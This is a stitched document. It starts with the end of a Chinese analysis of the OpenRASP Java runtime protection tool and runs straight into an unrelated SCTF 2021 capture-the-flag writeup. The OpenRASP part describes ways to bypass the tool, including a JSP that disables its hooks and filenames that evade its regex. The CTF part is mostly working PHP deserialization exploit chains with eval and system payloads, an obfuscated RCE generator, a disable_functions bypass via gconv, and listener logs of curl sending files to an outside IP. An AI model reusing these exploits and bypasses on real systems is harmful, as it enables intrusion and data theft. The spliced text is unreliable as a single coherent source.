load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`setKeys:39, Context (com.baidu.openrasp.plugin.js)`
**1-2-2-3-2 执行JS插件**
加载`plugins`目录下“.js”结尾的JS插件。
UpdatePlugin:239, JS (com.baidu.openrasp.plugin.js)
UpdatePlugin:218, JS (com.baidu.openrasp.plugin.js)
Initialize:90, JS (com.baidu.openrasp.plugin.js)
start:70, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`UpdatePlugin:218, JS (com.baidu.openrasp.plugin.js)`
**1-2-2-3-3 JS插件热部署**
添加文件目录监控器，JS插件目录`plugins`的文件新增、修改、删除都会触发`UpdatePlugin`方法，更新JS插件。文件监控这块底层用的是第三方库`JnotifyWatcher`。
InitFileWatcher:243, JS (com.baidu.openrasp.plugin.js)
Initialize:91, JS (com.baidu.openrasp.plugin.js)
start:70, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`InitFileWatcher:243, JS (com.baidu.openrasp.plugin.js)`
**1-2-2-4 检测器初始化**
当Hook住一些方法后，调用对应检测器，检测器内的代码决定了后面如何进行安全检测，如可以直接在JAVA这边完成安全检测，或将检测逻辑交给JS插件。
检测器初始化中，遍历已经初始化好的检测器JavaBean对象（封装了名称、id、检测方法），放到字典`checkers` 中以备后续使用。
init:34, CheckerManager (com.baidu.openrasp.plugin.checker)
start:73, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`init:34, CheckerManager (com.baidu.openrasp.plugin.checker)`
**1-2-2-5 插桩**
`initTransformer`中，实例化`CustomClassTransformer`，该类实现了`ClassFileTransformer`接口（JVM
TI接口）。其中的`restransform`方法用于遍历所有已经加载的类并进行插桩操作，而第一次加载的类直接使用`transform`方法。这里就不另外说明第一次加载的过程情况了，二者后续核心代码一致。可以分别尝试debug命令执行漏洞与XXE漏洞的hook方法来了解二者。
<init>:76, CustomClassTransformer (com.baidu.openrasp.transformer)
initTransformer:134, EngineBoot (com.baidu.openrasp)
start:74, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`<init>:76, CustomClassTransformer (com.baidu.openrasp.transformer)`
**1-2-2-5-1 获取hook点**
`CustomClassTransformer`在实例化时会获取相关Hook类。
addAnnotationHook:123, CustomClassTransformer (com.baidu.openrasp.transformer)
<init>:77, CustomClassTransformer (com.baidu.openrasp.transformer)
initTransformer:134, EngineBoot (com.baidu.openrasp)
start:74, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`addAnnotationHook:123, CustomClassTransformer
(com.baidu.openrasp.transformer)`：获取`com.baidu.openrasp.hook`包下的`AbstractClassHook`子类，如果子类不是配置文件中忽略的hook（配置文件`Config.getConfig().getIgnoreHooks()`），则将该类放入私有成员`hooks`中（HashSet）。
`<init>:77, CustomClassTransformer
(com.baidu.openrasp.transformer)`：实例化前与实例化所做的操作
**1-2-2-5-2 过滤并hook**
对于已经被加载的类，会经由`retransform`方法到`transform`，而对于第一次加载的类，会直接被`transform`捕获，对于第一次加载的类这里不另外展现，到了`tranform`这里，对于`OpenRASP`来说，二者就没差别了。
`CustomClassTransformer`在实例化后，调用方法`retransform` ->
`transform`，方法中筛选需要hook的类后进行插桩操作。
transform:155, CustomClassTransformer (com.baidu.openrasp.transformer)
transform:188, TransformerManager (sun.instrument)
transform:428, InstrumentationImpl (sun.instrument)
retransformClasses0:-1, InstrumentationImpl (sun.instrument)
retransformClasses:144, InstrumentationImpl (sun.instrument)
retransform:93, CustomClassTransformer (com.baidu.openrasp.transformer)
initTransformer:135, EngineBoot (com.baidu.openrasp)
start:74, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`transform:155, CustomClassTransformer
(com.baidu.openrasp.transformer)`：CustomClassTransformer
实现了ClassFileTransformer接口，在transorm方法中，通过遍历`hooks`获取所有价值的Hook类，并通过Hook类的`isClassMatched`方法判断当前类是否Hook类的关注类，如果是，之后的具体操作则交由Hook类的`tranformClass`方法
`retransform:93, CustomClassTransformer (com.baidu.openrasp.transformer)`
**1-2-2-5-2-1 Javassit实现hook**
`hookMethod`中先通过``getInvokeStaticSrc`方法获取“桩”的JAVA代码，再调用`insertBefore`方法进行“插”的操作（使用Javassist），如插入在构造方法前，被hook的类在实例化前会调用该插入的方法。
hookMethod:69, FileOutputStreamHook (com.baidu.openrasp.hook.file)
transformClass:83, AbstractClassHook (com.baidu.openrasp.hook)
transform:155, CustomClassTransformer (com.baidu.openrasp.transformer)
transform:188, TransformerManager (sun.instrument)
transform:428, InstrumentationImpl (sun.instrument)
retransformClasses0:-1, InstrumentationImpl (sun.instrument)
retransformClasses:144, InstrumentationImpl (sun.instrument)
retransform:93, CustomClassTransformer (com.baidu.openrasp.transformer)
initTransformer:135, EngineBoot (com.baidu.openrasp)
start:74, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`hookMethod:69, FileOutputStreamHook (com.baidu.openrasp.hook.file)`
`transformClass:83, AbstractClassHook
(com.baidu.openrasp.hook)`：调用在子类中重写的hookMethod
**1-2-2-6 云管理初始化**
如果配置了集中管理，这里会进行一个云管理的配置加载，好像还涉及到`IAST`技术，本文忽略。
`start:75, EngineBoot (com.baidu.openrasp)`
**请求处理**
这里以官方的文件上传为例，简要概述。
文件上传的后缀名检测流程前会触发ApplicationFilterHook，但是这里最后调用的检测器是`request`，未看到该检测器的逻辑实现，应该是未起作用的，这里就不关注了。
后面流程中，先触发FileUploadHook插桩于FileUploadBase的parseRequest方法前的cacheFileUploadParam方法，这里对当前HTTP请求做了解析并保存到HookHandler，不过这里的requestCache只有获取请求ID的作用，并没有用作检测判断的数据。
之后触发HookHandler
的doRealCheckWithoutRequest，这里调用CheckManger.check进行文件后缀检测，底层走到了JS引擎。
handleBlock用于加载自定义的HTTP响应页面，提示用户当前请求被识别为恶意请求，并向上抛安全异常，记录本次攻击事件。
JS中通过`pulgin.register`注册回调函数，而JAVA代码中通过调用native方法来调用该注册函数，获取是否判黑的结果。下面是文件上传部分JS代码，获取到的文件名后通过正则判断文件名是否非法，返回的JSON数据中指明action、message等消息即可：
var plugin = new RASP(plugin_name)
var algorithmConfig = {
...
// 写文件操作 - NTFS 流
writeFile_NTFS: {
name: '算法1 - 拦截 NTFS ::$DATA 写入操作',
action: 'block'
},
writeFile_script: {
name: '算法2 - 拦截 php/jsp 等脚本文件的写入操作',
reference: 'https://rasp.baidu.com/doc/dev/official.html#case-file-write',
action: 'block',
userinput: true,
lcs_search: false
},
...
}
...
// 配置挂载到全局 RASP 变量
RASP.algorithmConfig = algorithmConfig
const clean = {
action: 'ignore',
message: 'Looks fine to me',
confidence: 0
}
...
var scriptFileRegex = /\.(aspx?|jspx?|php[345]?|phtml|sh|py|pl|rb)\.?$/i
var ntfsRegex = /::\$(DATA|INDEX)$/
...
plugin.register('writeFile', function (params, context) {
// 写 NTFS 流文件，通常是为了绕过限制
if (algorithmConfig.writeFile_NTFS.action != 'ignore')
{
if (ntfsRegex.test(params.realpath))
{
return {
action: algorithmConfig.writeFile_NTFS.action,
message: _("File write - Writing NTFS alternative data streams", [params.realpath]),
confidence: 95,
algorithm: 'writeFile_NTFS'
}
}
}
...
return clean
...
## 5.绕过分析
### 5.1 已知手法
[多种姿势openrasp命令执行绕过](https://www.anquanke.com/post/id/195016)一文中，作者给出了两种命令执行的绕过手法
①创建新线程，在新线程中进行命令执行，比如在spring中使用如下代码进行命令执行
@RequestMapping(value = "testCmd.do")
@ResponseBody
public String testCmd(final String cmd){
Thread t = new Thread(new Runnable(){
public void run() {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}});
t.start();
return "testCmd";
}
②通过全局的Hook开关关闭rasp，如：
<%@ page import="com.baidu.openrasp.HookHandler" %>
<%
HookHandler.enableHook.getAndSet(false);
%>
笔者的看法是，OpenRASP的目标应该是漏洞防护，漏洞防护也不能影响业务。如果存在业务的命令执行漏洞如①场景一致，那么应该确实是问题。另外被入侵成功后如何防护，对于该项目可能不是当前重点甚至意义不大。OpenRASP有后台管理（集中），不过目前看不到各主机的hook开关情况。
### 5.2 Hook点
RASP核心是hook并插桩，如果有漏洞的类未被hook到或是hook的类非底层关键类，则该技术会被绕过。如在命令执行中，对于JAVA版本<JDK8的，代码hook了`java.lang.ProcessImpl`与`java.lang.UNIXProcess`。此处只是一提，笔者对于这块没有发现绕过点。
`isClassMatched:65, ProcessBuilderHook (com.baidu.openrasp.hook.system)`
### 5.3 规则缺陷
OpenRASP还是不免用到了一些规则，如果规则未黑名单形式，比较难避免遗漏。如针对文件上传有文件后缀过滤正则，其中针对脚本文件的黑名单正则：
var scriptFileRegex = /\.(aspx?|jspx?|php[345]?|phtml|sh|py|pl|rb)\.?$/i
使用官方的vulns.war中的`008 - 任意文件上传漏洞 - commons.io
方式`进行漏洞测试，在windows下上传文件名“test.jsp…”可成功上传。另外可以通过“../test.war”的方式成功上传war包到webapp目录下，但由于该漏洞案例写文件的Writer为字符流而非二进制流，所以上传后的war不能成功执行。
## 6.其他说明
代码中`OpenRasp`使用的JS引擎还是V8，不符合官方文档所说的`Rhnio`引擎，后来在官方QQ群中，群主`c0de::bre[@k](https://github.com/k
"@k")`回应到：“是j2v8太慢，优化过的v8比rhino快很多，js兼容性也强”。
## 7.结语
通篇学习下来，笔者认为，对于普通人来说，实践与维护RASP的难度对比传统WAF来说，省去了大量请求解析与解码的工作，且安全效果会比较显著，毕竟其深入嵌入产品代码。但方案比较狭隘，不同用户可能会有自己的hook需求与安全功能需求，另外语言的变化还会付出额外维护成本。而OpenRASP已经比较成熟，除了攻击检测外还支持安全基线检测、类库信息收集等功能，其JS插件也简单易上手（除了需要吐槽整坨代码写一个文件），还具备后台管理功能与IAST功能，令笔者意想不到的强大。
另外打下广告，本人目前求职中，求职意向为web安全岗，一线城市皆可…
相关参考
<https://rasp.baidu.com/doc/> OpenRASP官方文档
<https://docs.oracle.com/javase/8/docs/platform/jvmti/jvmti.html> JVMTM Tool
Interface
<https://xz.aliyun.com/t/4290> 浅谈RASP技术攻防之基础篇
<https://tech.meituan.com/2019/09/05/java-bytecode-enhancement.html> 字节码增强技术探索
<https://www.anquanke.com/post/id/187415> 浅谈RASP | 社区文章 |
# SCTF 2021 Writeup by Dest0g3
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Web
### Loginme
上来说要用localhost
直接搞403了，附件给了源码
middleware.go：
x-forwarded-for 和 x-client-ip 都被ban了，用 x-real-ip
x-real-ip: 127.0.0.1
?id=0 到这儿
GET 随便传 age ，传什么反什么，考虑ssti
试了一下go最简单的ssti
?id=0&age={{.Password}}
### Upload_it
任意上传文件：
<?php
include_once "../vendor/autoload.php";
error_reporting(0);
session_start();
define("UPLOAD_PATH", "/tmp/sandbox");
if (!file_exists(UPLOAD_PATH)) {
@mkdir(UPLOAD_PATH);
}
function make_user_upload_dir() {
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
$upload_path = UPLOAD_PATH . "/" . $md5_dir;
@mkdir($upload_path);
$_SESSION["upload_path"] = $upload_path;
}
if (empty($_SESSION["upload_path"])) {
make_user_upload_dir();
}
if (!empty($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['size'] < 1024 * 1024) {
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
} else {
echo "too big!!!";
}
} else if (!empty($_GET['phpinfo'])) {
phpinfo();
exit();
} else {
echo <<<CODE
<html>
<head>
<title>Upload</title>
</head>
<body>
<h1>Upload files casually XD</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
FILE: <input type="file" name="file">
PATH: <input type="text" name="path">
<input type="submit">
</form>
<hr>
<h3>or...Just look at the phpinfo?</h3>
<a href="./index.php?phpinfo=1">go to phpinfo</a>
</body>
</html>
CODE;
}
发现给了`composer.json`，拿`composer`把`vendor`下载下来，是`opis`和`symfony`：
查了一下发现thinkphp的反序列化里面也用到了，利用的是`\Opis\Closure\SerializableClosure`：
它的`__invoke`：
所以可以想办法利用这里，继续往前找可以触发`__invoke`的点，发现了`LazyString`的`__toString`：
想办法触发`__toString`即可。
发现index.php的这里：
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
上传session控制`$_SESSION`即可。
POC：
<?php
namespace Symfony\Component\String{
use Opis\Closure\SerializableClosure;
class LazyString{
private $value;
public function __construct(){
$func =function (){
eval($_GET['feng']);
};
$this->value = new \Opis\Closure\SerializableClosure($func);
}
}
}
namespace {
include_once "./vendor/autoload.php";
session_start();
use Symfony\Component\String\LazyString;
$a= new LazyString();
$_SESSION["upload_path"] = $a;
}
在本地找到session文件：
把它上传到`tmp`目录下面：
（不这样也行，把所有属性都改成`public`）
然后PHPSESSID改成`cm19qh3da8eo1thluucm1hlqkf`后再上传文件即可触发：
但实际上好像不是这样的。。。好像触发点是`__sleep`？`ezosu`也是这样。
### ezosu
一个imiphp的题：
<?php
namespace ImiApp\ApiServer\Controller;
use Imi\App;
use Imi\Db\Db;
use Imi\Redis\Redis;
use Imi\Server\Http\Controller\HttpController;
use Imi\Server\Http\Route\Annotation\Action;
use Imi\Server\Http\Route\Annotation\Controller;
use Imi\Server\Http\Route\Annotation\Route;
use Imi\Server\View\Annotation\HtmlView;
use Imi\Server\View\Annotation\View;
use Imi\Server\Session\Session;
/**
* @Controller("/")
*/
class IndexController extends HttpController
{
/**
* @Action
* @Route("/")
*
* @return array
*/
public function index()
{
return $this->response->redirect("/index.html");
}
/**
* @Action
*
* @return array
*/
public function config()
{
$method = $this->request->getMethod();
$res = [
"msg" => "ok",
"status" => "200",
"value" => true
];
if ($method === "POST") {
Session::clear();
$configData = $this->request->getParsedBody();
foreach ($configData as $k => $v) {
Session::set($k, $v);
}
} else if ($method === "GET") {
$configData = Session::get();
if ($configData != null) {
$res["value"] = $configData;
} else {
$res = [
"msg" => "Not Find",
"status" => "404",
"value" => null
];
}
} else {
$res = [
"msg" => "Unsupported method",
"status" => "405",
"value" => false
];
}
return $res;
}
}
可以自定义session。把题目环境的文件和imi官方的文件进行比对了一下，发现多了这么一行东西：
尝试进行恶意的session注入：
所以就是找imi的链子了（但是没找到）。。。。
找到的是被`__wakeup`的，后面一部分包含了`__toString`。
比赛的时候盲猜会不会`SESSION`对象在imi中有什么处理然后触发`__toString`，试了一下过了成功触发了。。。
直接看POC就知道了，最后的RCE点：
考虑到php7.4而且没回显而且写进session时候有些字符还会出问题，想到了`create_function`注入。
POC：
<?php
namespace Symfony\Component\String{
use PhpOption\LazyOption;
class LazyString{
public $value;
public function __construct(){
$a = new LazyOption();
$this->value =[$a,'getIterator'];
}
}
}
namespace PhpOption{
final class LazyOption{
public $option = null;
public $callback = 'create_function';
public $arguments = ['',"}system(base64_decode('xxx'));//"];
}
}
namespace {
use Symfony\Component\String\LazyString;
session_start();
$_SESSION['feng'] = new LazyString();
}
然后填进去：
2次即可触发。然后curl外带出来flag就行了。
root@VM-0-6-ubuntu:~# nc -lvvp 39767
Listening on [0.0.0.0] (family 0, port 39767)
Connection from ecs-124-70-204-21.compute.hwclouds-dns.com 56688 received!
POST / HTTP/1.1
Host: 121.5.169.223:39767
User-Agent: curl/7.76.1
Accept: */*
Content-Length: 2034
Content-Type: multipart/form-data; boundary=------------------------484cb7eb09ce5048
--------------------------484cb7eb09ce5048
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
/usr/local/lib/php/build/ax_check_compile_flag.m4
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/etc/where_is_my_flag
/etc/where_is_my_flag/flag
/sys/devices/pnp0/00:04/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
--------------------------484cb7eb09ce5048-- ^C
root@VM-0-6-ubuntu:~# nc -lvvp 39767
Listening on [0.0.0.0] (family 0, port 39767)
Connection from ecs-124-70-204-21.compute.hwclouds-dns.com 56698 received!
POST / HTTP/1.1
Host: 121.5.169.223:39767
User-Agent: curl/7.76.1
Accept: */*
Content-Length: 240
Content-Type: multipart/form-data; boundary=------------------------8ea4f0b370455f5a
--------------------------8ea4f0b370455f5a
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream
SCTF{Wow_unS@f3_S3sSi0N_w0w_sL33P_Cha1n_woW}
--------------------------8ea4f0b370455f5a-- ^C
看着`flag`知道这是一个`sleep chain`。。。赛后和别的师傅交流了一下才知道原来会进行`serialize`（是我菜了）：
触发`__toString`。
### upload it 2
基本没咋改，只是多了沙盒类：
// emmm...easy backdoor
class sandbox {
private $evil;
public $upload_path;
public function make_user_upload_dir() {
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
$this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
@mkdir($this->upload_path);
$_SESSION["upload_path"] = $this->upload_path;
}
public function has_upload_dir() {
return !empty($_SESSION["upload_path"]);
}
public function __wakeup() {
/*
I removed this code because it was too dangerous.
*/
throw new Error("NO NO NO");
}
public function __destruct() {
/*
I removed this code because it was too dangerous.
*/
}
public function __call($func, $value) {
if (method_exists($this, $func)) {
call_user_func_array(
[$this, $func],
$value
);
}
}
private function backdoor() {
// __destruct and __wakeup are deleted. It looks like backdoor should not be called.
include_once $this->evil;
}
}
调用`backdoor`包含`/flag`就行了，POC：
<?php
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct(){
$a = new \sandbox();
$this->value = [$a,'backdoor'];
}
}
}
namespace {
use Symfony\Component\String\LazyString;
class sandbox {
public $evil;
public function __construct(){
$this->evil = "/flag";
}
}
session_start();
$a= new LazyString();
$_SESSION["upload_path"] = $a;
}
按`Upload_it`的思路打就行了。`__wakeup`不影响。跟0CTF那个原理应该一样。
### FUMO_on_the_Christmas_tree
<https://www.freebuf.com/articles/web/279680.html>
<?php
namespace christmasTree {
class DHYrAh {
}
class y3ViK8G {
public object $Wr7Ytn9Ia;//Q9sNNb
}
class Q9sNNb {
public object $Ow2G2ch9;//NZUgPW
public object $TOOTyKhmC1;
}
class NZUgPW {
public object $Kt92sqw;
public object $E4N2iF;//P2pLyUi
}
class P2pLyUi {
public object $VDmyPU4o;
public object $CiBLGI;//Som7A0BEFb
}
class Som7A0BEFb {
public object $vqZ2HyiFB;//yu1riFpaOC
public object $DaCZAkYXaN;
}
class yu1riFpaOC {
public object $rz4YgswK;
public object $hrtyBmKl;//zQYZ26GWX
}
class zQYZ26GWX {
public object $l9c7yu9g;//b0tqYdgr2G
public object $VFkIed9F7N;
}
class b0tqYdgr2G {
public object $ooYbyPK;//R5u4RGrwc
public object $ubRaqm;
}
class R5u4RGrwc {
public object $Lcg4K2oI;//EppdCTV9
public object $AKlIuF;
}
class UZwUkGPf {
public object $osDZXTq6;
public object $Z1gxpfyn;//qZ6Ugl
}
class qZ6Ugl {
public object $APKniMr;//Cwq0C0el
}
class Cwq0C0el {
public object $GF6ZDaU;//oRGGlSftU
}
// /fumo/../../../../../../../etc/passwd
class oRGGlSftU {
}
$a = new y3ViK8G();
$b = new Q9sNNb();
$c = new NZUgPW();
$d = new P2pLyUi();
$e = new Som7A0BEFb();
$f =new yu1riFpaOC();
$g = new zQYZ26GWX();
$h = new b0tqYdgr2G();
$i = new R5u4RGrwc();
$j =new UZwUkGPf();
$k = new qZ6Ugl();
$l = new Cwq0C0el();
$m = new oRGGlSftU();
$a->Wr7Ytn9Ia=$b;
$b->Ow2G2ch9=$c;
$b->TOOTyKhmC1=new DHYrAh();
$c->E4N2iF=$d;
$c->Kt92sqw=new DHYrAh();
$d->CiBLGI=$e;
$d->VDmyPU4o=new DHYrAh();
$e->vqZ2HyiFB=$f;
$e->DaCZAkYXaN=new DHYrAh();
$f->hrtyBmKl=$g;
$f->rz4YgswK=new DHYrAh();
$g->l9c7yu9g=$h;
$g->VFkIed9F7N=new DHYrAh();
$h->ooYbyPK=$i;
$h->ubRaqm=new DHYrAh();
$i->Lcg4K2oI=$j;
$i->AKlIuF=new DHYrAh();
$j->Z1gxpfyn=$k;
$j->osDZXTq6=new DHYrAh();
$k->APKniMr=$l;
$l->GF6ZDaU=$m;
$obj = serialize($a);
echo $obj;
}
### rceme
和2020的极客一样，只不过set了df。看了一下就知道是和qwnt的那个一模一样。主要是执行代码就可以了。
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)
#call_user_func(...unserialize(end(getallheaders())));
发现php中调用函数的时候传递数组可以所以 **…** 最重要的是如何控制一个数组。hzx
拉了个屎就想到了。然后执行代码可以使用create_function去使用。
[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));
如下脚本
<?php
//$a=array("create_function","",'2;}$dir=new DirectoryIterator("/tmp/");foreach($dir as $f){echo($f."");} ;/*');
# /tmp/payload.so
$b =array("create_function","",'2;}$file=new SplFileObject("/tmp/gconv-modules", "w");$written=$file->fwrite($_POST[1]);/*');
$c =array("create_function","",'2;};putenv("GCONV_PATH=/tmp/");highlight_file("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");/*');
echo serialize($c);
# putenv("GCONV_PATH=/tmp/");highlight_file('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/payload.so');
//$a='a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:15:"2;}phpinfo();/*";}';
//$b=unserialize($a);
//echo gettype($b);
//call_user_func(...$b);
写进去gconv-modules和payload.so
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
触发
POST / HTTP/1.1
Host: 124.70.199.17:8001
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 570
cmd:a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:122:"2;};putenv("GCONV_PATH=/tmp/");highlight_file("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");/*";}
cmd=[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&1=%6d%6f%64%75%6c%65%20%20%45%58%50%2f%2f%20%20%20%20%49%4e%54%45%52%4e%41%4c%20%20%20%20%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%74%6d%70%2f%65%78%70%20%20%20%20%32%0a%6d%6f%64%75%6c%65%20%20%49%4e%54%45%52%4e%41%4c%20%20%20%45%58%50%2f%2f%20%20%20%20%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%74%6d%70%2f%65%78%70%20%20%20%20%32
读文件。
其实前面就一个unser去控制一个数组执行任意代码,后面的bypass df和qwnt 一样。。。
## MISC
### This_is_A_tree
我先是自己列了一个树状图：
因为是有tree的提示，所以就按照前序/中序/后序这些试一试：
中序密文：
Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA==
base64解密后：
Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫
易经的编码我在BJDCTF2020 见到过：
https://blog.csdn.net/weixin_44110537/article/details/107494966
因此改一下脚本：
s = '师兑复损巽震晋姤大过讼噬嗑震恒节豫'
dic = {
'坤': '000000',
'剥': '000001',
'比': '000010',
'观': '000011',
'豫': '000100',
'晋': '000101',
'萃': '000110',
'否': '000111',
'谦': '001000',
'艮': '001001',
'蹇': '001010',
'渐': '001011',
'小过': '001100',
'旅': '001101',
'咸': '001110',
'遁': '001111',
'师': '010000',
'蒙': '010001',
'坎': '010010',
'涣': '010011',
'解': '010100',
'未济': '010101',
'困': '010110',
'讼': '010111',
'升': '011000',
'蛊': '011001',
'井': '011010',
'巽': '011011',
'恒': '011100',
'鼎': '011101',
'大过': '011110',
'姤': '011111',
'复': '100000',
'颐': '100001',
'屯': '100010',
'益': '100011',
'震': '100100',
'噬嗑': '100101',
'随': '100110',
'无妄': '100111',
'明夷': '101000',
'贲': '101001',
'既济': '101010',
'家人': '101011',
'丰': '101100',
'离': '101101',
'革': '101110',
'同人': '101111',
'临': '110000',
'损': '110001',
'节': '110010',
'中孚': '110011',
'归妹': '110100',
'睽': '110101',
'兑': '110110',
'履': '110111',
'泰': '111000',
'大畜': '111001',
'需': '111010',
'小畜': '111011',
'大壮': '111100',
'大有': '111101',
'夬': '111110',
'乾': '111111'
}
li = []
k = 0
for i in range(len(s)):
if k == 1:
k = 0
continue
try:
li.append(dic[s[i]])
except:
t = ''
t = t + s[i] + s[i + 1]
li.append(dic[t])
k = 1
ss = ''.join(li)
print(ss)
print('----------------')
enc = ''
for i in range(0, len(ss), 8):
enc += chr(eval('0b' + ss[i:i + 8]))
print(enc)
得到解密后的：
因此得到flag：
SCTF{Ch1nA_yyds!}
### fumo_xor_cli
nc过去打印很多字符，然后重定向保存到文件
分析一下发现 有不少空格 所以按照`\n\n`分割，分割出
57个文件，再通过脚本把颜色提取出来做成图片：
import re
from PIL import Image
for k in range(57):
img = Image.new("RGB",(133,50))
f = open(f"{k}","r").read()
lines = f.split("\n")
for i in range(len(lines)):
